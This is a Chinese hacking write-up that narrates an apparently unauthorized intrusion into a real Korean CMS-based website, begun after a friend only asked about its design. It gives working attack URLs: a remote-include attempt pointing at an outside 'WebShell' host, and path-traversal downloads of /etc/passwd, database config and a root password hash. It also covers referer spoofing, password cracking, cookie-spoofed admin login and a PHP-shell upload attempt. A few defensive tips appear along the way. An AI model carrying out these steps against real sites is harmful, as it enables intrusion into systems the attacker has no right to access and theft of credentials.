某日,一个做网页设计的朋友发给我一个站(www.ba******.net),问我感觉如何?该网站设计漂不漂亮?明明知道我在艺术方面不太擅长,尤其是美感设计,还发过来,不过既然发过来了,也要上去看看,打开网站后,感觉还是蛮简洁的,如图1所示,就看看它的安全性如何。
|
图1韩国某网站CMS界面 |
一、服务器信息收集
1.获取IP信息
直接打开DOS提示符操作窗口,使用ping命令,对网站www.b*******.net进行ping操作,如图2所示,获取IP地址为“221.***.**.21”,且无丢包现象,延迟时间也较少,呵呵,感觉韩国的计算机就是爽,速度快,硬件配置也高。
|
图2获取网站IP地址 |
安全小知识
(1)TTL术语
TTL是Time to Live对缩写,它是IP协议包中的一个值,它告诉网络路由器包在网络中的时间是否太长而应被丢弃。有很多原因使包在一定时间内不能被传递到目的地。例如,不正确的路由表可能会导致包的无限循环。一个解决方法就是在一段时间后丢弃这个包,然后给发送者一个报文,由发送者决定是否要重发。TTL的初值通常是系统缺省值,是包头中的8位的域。TTL的最初设想是确定一个时间范围,超过此时间就把包丢弃。由于每个路由器都至少要把TTL值减一,TTL通常表示包在被丢弃前最多能经过的路由器个数。当记数到0时,路由器决定丢弃该包,并发送一个ICMP报文给最初的发送者。
TTL是指定数据报被路由器丢弃之前允许通过的网段数量。通常是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
一个为ICMP请求回显(ICMP Echo Request)
一个为ICMP回显应答(ICMP Echo Reply)
(2)TTL值
TTL 字段值可以帮助我们识别操作系统类型,下面是一些常见系统的TTL值:
(1)UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255;
(2)Compaq Tru64 5.0 ICMP 回显应答的TTL字段值为64;
(3)微软 Windows NT4 WRKS、Windows NT4 Server、Windows 2000、Windows XP操作系统 ICMP 回显应答的 TTL字段值为128;
(4)微软 Windows 95、Windows98、Windows98SE、Windows ME操作系统ICMP 回显应答的TTL字段值为 32;
(5)一些特殊情况下,其TTL值会有一些不同:
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
FreeBSD 4.1, 4.0, 3.4;Sun Solaris 2.5.1, 2.6, 2.7, 2.8;OpenBSD 2.6, 2.7;NetBSD;HP UX 10.20等等ICMP 回显应答的TTL字段值为255;
从返回的TTL值中,可以初步判定目标主机是linux系统。
防护技巧
在一般意义上可以通过“ping 主机地址”或者“ping 网站域名地址”来获取TTL值,通过TTL值来判断网站所在主机的操作系统类型。一些防护严格的系统会自定义TTL值,从而让入侵者无法通过TTL值来获取操作系统的类型。TTL值的注册表位置 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255。例如本人的计算机的TTL值就是 127,如图3所示,嘿嘿,从常见的TTL值你就无法知道!
|
图3 自定义TTL值 |
注意:
修改TTL值后需要重启计算机才能生效,不同计算机操作系统可能修改的TTL值地方不一样,一般情况下是去注册表 “HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet001\Services\Tcpip\Parameters”下修改DefaultTTL的值,如果是在 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters”中则需要新建“DefaultTTL”键,且类型为DWORD。
2.获取服务器架构信息
通常通过在浏览器中输入“http://221.139.***.21/antian365/”地址,其中“antian365”为不存在的目录,从返回出错的信息中来判断服务器架构信息,如图4所示,可以看出来系统使用的是apache1.3.36,因为小站根本是使用免费的Mysql数据库,所以可以确认是典型的LAMP架构。
|
图4获取服务器架构信息 |
说明:
(1)http://221.139.***.21/antian365/如果是在IE浏览器输入,一定要把显示友好HTTP错误信息去掉,具体操作:选择IE浏览器--工具--Internet选项;在高级选项框中将“显示友好HTTP错误信息”的勾选去掉,这样才能显示详细的错误信息。
LAMP架构网络小知识
LAMP是一种Web网络应用和开发环境,基本上是四种开源软件技术的组合,它们组合在一起产生了一个功能强大的应用服务平台,使用却相对来说比较简单和容易。
LAMP是基于Linux,Apache,MySQL和PHP的开放资源网络开发平台,这个术语来自欧洲,LAMP名字取自每个程序的第一个字母,也有人认为LAMP是一种Web网络应用和开发环境,是Linux, Apache,MySQL, Php/Perl的缩写,每一个字母代表了一个组件。其实LAMP这个词的由来最早始于德国杂志“c't Magazine”,Michael Kunze在1990年最先把这些项目组合在一起创造了LAMP的缩写字。
这些组件并不是开始就设计为一起使用的,由于开源和免费,随着越来越多的人使用它,其兼容性不断改善和完善,因此逐渐成为Web应用程序开发的一种架构。在这个架构中每个程序在所有权里都符合开放源代码标准:Linux是开放系统;Apache是最通用的网络服务器;MySQL是带有基于网络管理附加工具的关系数据库;PHP是流行的对象脚本语言,它包含了多数其它语言的优秀特征来使得它的网络开发更加有效。
有时候,开发者在Windows操作系统下使用这些Linux环境里的工具称为使用WAMP,也称为WAMP架构。随着开源潮流的蓬勃发展,开放源代码的LAMP已经与J2EE和.Net商业软件形成三足鼎立之势,并且该软件开发的项目在软件方面的投资成本较低,因此受到整个IT界的关注。有关LAMP的更多知识,可以查看“LAMP架构帖子”http://www.antian365.com/bbs /viewthread.php?tid=2639&extra=page%3D1&frombbs=1
3.探测端口信息
用sfind扫一下服务器,发现只开启21,80端口,如图5所示,其中3306Mysql数据库端口也可以进行探测。
|
图5端口信息 |
之后使用HScan软件扫描Mysql数据库和FTP弱口令,没有结果。看来还是得从web程序入手。
二、Web应用程序安全检测
1.注入测试
用阿D,NBSI等注入工具寻找注入点,没有发现。同时用手工查找,也没有找到,simeon说我的注入比较弱,看来一点不假,呵呵。
2.寻找上传点
http://www.b**.net/ez/bbs.php?table=qna&query=write发现可以发贴子,但并没有文件上传的地方。
3.旁注检测
打开http://www.myipneighbors.com/,同一服务器下一共有114个站点,都是使用相同的CMS,用明小子的DOMAIN批量检测一下注入点和上传漏洞,和预计的结果一样,也没有发现。
说明:
http://www.myipneighbors.com/ 是一个通过IP地址或者域名来获取该IP地址或者域名所在服务器中所存在的其它网站地址。它比明小子的DOMAIN能查询到更准确的数据。
4.包含漏洞检测
没办法,还是再仔细看看www.b****k.net,当浏览到http://www.b****k.net/ez/inc.php?inc=company/sub1_1,这个是不是存在包含漏洞呢?于是测试http://www.b****k.net/ez/inc.php?inc=http://116.23.82.87:81/WebShell,出现错误,如图6所示。
|
图6不能远程包含漏洞 |
虽然没有找到远程包含漏洞,但这里可以暴出网站的绝对路径:/home/ba****.net/public_html/ez/。
说明:
(1)包含漏洞的原因是程序员在使用涉及到的危险函数include、require、include_once和require_once时,未对传入的变时做出过滤。
(2)关于暴出网站绝对路径的修补。因include或require因为找不到包含的文件,所以会显示出错,要屏蔽掉错误显示也很简单,只要在include或require加个“@”就可以了。
6.下载任意文件漏洞检测
手工检测下载任意文件漏洞。目前对于下载任意文件漏洞的检测一般是通过手工进行检测。在浏览到http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1网页时,发现可以单击下载图片,如图7所示。
|
图7下载图片 |
可以通过修改URL地址来下载网站的其它文件,通过观察,URL地址http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg中,file参数直接使用文件名,也许可以下载其它文件,于是在URL地址栏中输入:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where= dat&dtype=up&uid=133&file=20080706012241_4.jpg(20080706012241_4.jpg为另一张图片)返回一片空白,查看源代码,发现有都是不认识的文字,如图8所示,不能下载其它图片文件。
|
图8不能下载 |
不懂是什么意思。难道用uid参数限制了?还是其它什么的原因。于是重新输入:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现还是一片空白,明明点击可以下载,为什么从地址栏直接输入就不可以下载?哦。这不就是和很多下载站所用的伎俩——防盗链。
说明:
关于防盗链。也就是下载时检查referrer参数是不是来自本站的页面,如果不是,就不可以下载。
7.突破防盗链
突破防盗链方法有很多,可以用asp、PHP、vbs或使用改包NC提交都可以。这里介绍的是一种比较简便的方法,使用Firefox自定义referer插件来突破。首先我们应该先抓包,看看下载时的referrer参数值是什么。
(1)使用LiveHTTPHeaders插件获取referrer参数值
先安装一个firfox抓包插件LiveHTTPHeaders(http://livehttpheaders.mozdev.org/installation.html),打开该地址,然后单击网页链接“Install version 0.14 of LiveHTTPHeaders now”,Firefox会提示进行该软件的安装,如图9所示,单击立即安装即可。
|
图9 安装LiveHTTPHeaders组件 |
注意
由于组件由于对Firefox有版本要求,因此会出现一些组件无法安装的现象,如果出现安装提示警告信息时,一般都可以进行安装。 LiveHTTPHeaders 可以抓取http,https的数据链接,包括get和post,一个很不错的插件。安装好插件后,重启FireFox,打开下载页面,运行 LiveHTTPHeaders抓包(工具->Live HTTP Headers),然后再点击下载,不一会,包就抓好了,查看一下,referrer参数值为http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如图10所示,取得referrer参数值。
|
图10 获取referrer参数值 |
(2)使用RefControl插件构造referrer值
接着到http://www.blogjava.net/baicker/archive/2008/04/08/191485.html安装Firefox自定义referer插件RefControl,同样安装好之后,重启Firefox,运行RefControl,单击“添加站点”按钮,在站点中输入http://www.b****k.net,动作选择自定义,同时输入抓包所获取的referrer值http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如图11所示,然后单击“确定”按钮,使设置生效,到此构造referrer值完毕。
|
图11使用RefControl构造referrer参数值 |
技巧
可以直接Firefox的附加组件来搜索和添加组件。方法是在Firefox中单击 “工具”-“附加组件”,在弹出的附加组件中单击“获取附加组件”,在搜索输入框中输入需要添加到组件名称,然后单击搜索按钮即可查找已经存在 Firefox附加组件,如果找到,单击“查看全部结果”,按照提示安装即可。
(3)下载passwd文件
在Firefox地址栏输入:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现可以下载20080706012226_4-1.jpg文件了,再试试
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012241_4.jpg,也可以下载20080706012241_4.jpg。我们试试能不能下载/etc/passwd文件,构造URL为:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../../../../../etc/passwd,可以下载,如图12所示,可以下载passwd文件。
|
图12下载passwd文件 |
8.获取系统用户名
使用Editpuls编辑器打开下载的passwd文件,如图13所示,可以查看该服务器上的全部的用户以及密码信息。
|
图13 passwd文件内容 |
说明:
通过查看图片的属性可以,图片在网站的目录为/ez/bbs/table/pic2/upload/,结前面暴出的网站绝对路径,可知道图片在服务器中的绝对路径为/home/b****k.net/public_html/ez/bbs/table/pic2/upload/,所以需要8个“.. /”才能返回根目录。
/etc/passwd 文件是linux系统的主要文件之一。该文件中包含了所有用户登录名清单;为所有用户指定了主目录;在登录时使用的 shell 程序名称等。该文件还保存了用户口令;给每个用户提供系统识别号。
到这里,就可以通过phpmyadmin拿webshell了,但我还是想继续检测程序漏洞。
9.破解系统密码
使用LC5导入Unix shadow file文件,即刚才下载的passwd文件,导入后可以看到系统共有295个账号。如图14所示,可以进行破解。
|
图14破解Linux系统帐号 |
10.继续检测web程序漏洞
继续通过下载漏洞获取其它文件,在浏览器中输入构造好的地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../ez/bbs.php来下载bbs.php文件,将bbs.php文件下载到本地后,通过查看源代码,得到连接数据库的文件为conf/db_info.php,于是构造数据库文件下载地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../conf/db_info.php下载数据库连接文件,得到连接数据库的用户名和密码:111111111111111111111
$DB[kind] = "mysql"; $DB[host] = "localhost"; $DB[name] = "b*******"; $DB[user] = "banseuk"; $DB[pass] = "se********"; ?>
|
于是登录phpmyadmin(221.***.**.21/mysql)管理数据库,准备查找出网站后台的用户名和密码(有时并不一定能找到 phpmyadmin的地址),使用用户名“b*******”以及对应密码“"se********"”进行登录,登录Phpmyadmin后发现,该网站管理员表kimsmall7_gadmin竟然是空的,如图15所示。
|
图15管理员表为空 |
或者说这个不是管理员表?于是先下载登录处理文件看看,构造login文件下载地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../lib/login.php,将其下载到本地,查看一下代码,原来只有ROOT这个用户可以登录,但ROOT用户的密码不在数据库中,而在conf/mkpass.php文件中,而且使用crypt函数加密,如图16所示。
|
图16 查看mkpass.php文件代码 |
说明:不过有的网站是可以有后台登录的,其后台登录处理代码如图17所示。
|
图17有管理后台代码 |
不过如果我没找不到phpmyadmin的地址,也无法查出管理员的密码。而且就算登录了后台管理,也没有可以利用的地方。 于是尝试root登录,看看有没有可以利用的地方。先下载root密码文件
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../conf/mkpass.php 得到密码如下:22222222222222222222
$ROOT_PASS = "mldzOtDVllwqw"; ?>
|
这是使用了PHP的crypt加密函数加密的,要解密还是比较难,所以就不打算解密了。
11.cookie欺骗成功
先看看可否使用UPDATE更新管理员密码,先看一下源代码:33333333333333333333
if ($MB_ID == 'ROOT' && $MB_PW != '') { include '../conf/mkpass.php'; $crypt_key = "ml5300a"; $INPUT_PASS = crypt($MB_PW,$crypt_key); if ($INPUT_PASS == $ROOT_PASS) { setcookie("MyLootPass" , $ROOT_PASS , 0 , "/"); getTargetLink("../index.php","",""); } else { echo""; } }
|
这个不是可以cookie欺骗吗?于是打开桂林老兵的mybrowse,打开网站后,点击自定义cookie,把cookie修改为:
MyLootPass=mldzOtDVllwqw;PHPSESSID=ae92f7f6cd637f942071b67b8f4881ad,然后刷新一下页面,显示已登录(看左上角),如图18所示。
|
图18 cookie欺骗成功 |
12.得到前台可上传页面
这个是前台管理员,在前台管理中,有发公告的地方,并可以上传文件,如图19所示。
|
图19 有上传可利用管理页面 |
13.上传php文件受限
后台对文件类型做了一些限制,当我选择php文件时,却弹出一个对话框,如图20所示。
|
图20限制上传php文件 |
在没有提交上传的时候,就跳出来对话框,说明肯定本地使用Javascript做了验证,所以可以自己构造一个上传表单来突破,于是先下载上传处理文件upload.php文件。构造其地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file= ../../../../bbs/lib/module/upload/upload.php,下载到本地后打开该文件查看其源代码:4444444444444444444
if ($action == "upload") { if(is_uploaded_file($HTTP_POST_FILES[upFile][tmp_name])) { $upFile_Ext = explode('.' , $HTTP_POST_FILES[upFile][name]); if (strstr("html,php3,inc,asp,jsp" , $upFile_Ext[sizeof($upFile_Ext)-1])) { echo ""; exit; } $filesize = $HTTP_POST_FILES[upFile][size]; ……(略去无关代码) if (is_file("../../../table/$table/upload/".$HTTP_POST_FILES[upFile][name])) { $upname = date("His")."_".$HTTP_POST_FILES[upFile][name]; move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name], "../../../table/$table/upload/".$upname); } else { $upname = $HTTP_POST_FILES[upFile][name]; move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name], "../../../table/$table/upload/".$upname); } }
好象可以上传PHP文件的,先构建一个上传表单,代码如下:
|
另存为upload.htm,再次选择一个php文件上传试试,发现并不能上传,如图21所示。
|
图21还是不能上传php文件 |
于是上传一个gif.phP文件(linux服务器是区分大小写的)。上传成功后,用IE浏览器浏览(不要用Firefox,不然图片也会变成下载)http://www.b****k.net/ez/bbs/table/sub1/upload/gif.phP,但发现是出现下载页面,服务器不解释。如图22所示。
|
图22不解释phP文件 |
再看一看strstr函数的解释。
语法: string strstr(string haystack, string needle);
本函数将 needle 最先出现在 haystack 处起至 haystack 结束的字符串返回。若找不到 needle 则返回 false。
原来只要文件名后缀包含php3、php、ph、p等类型都不行。没折了,不搞了。
谁知道有什么办法突破,请告知我。
说明:验证个人认为,使用session验证比cookie安全些;还有就是对上传文件格式的验证,一定要在服务器端进行,在客户端验证的话,随便自己在本地构建一个表单就可以轻轻松松绕过了。
三、总结与收获
通过本次对韩国某CMS系统网站进行检测,用到了LiveHTTPHeaders、RefControl插件,通过这些插件来辅助进行安全检查,其效果还是非常明显的,在本次检测中成功进行突破防盗链、进行了cookie欺骗,对php类型的网站安全检查应该是多了一些实际经验。欢迎跟我进行技术探讨,我在antian365.com论坛中的id是N3tl04D。
|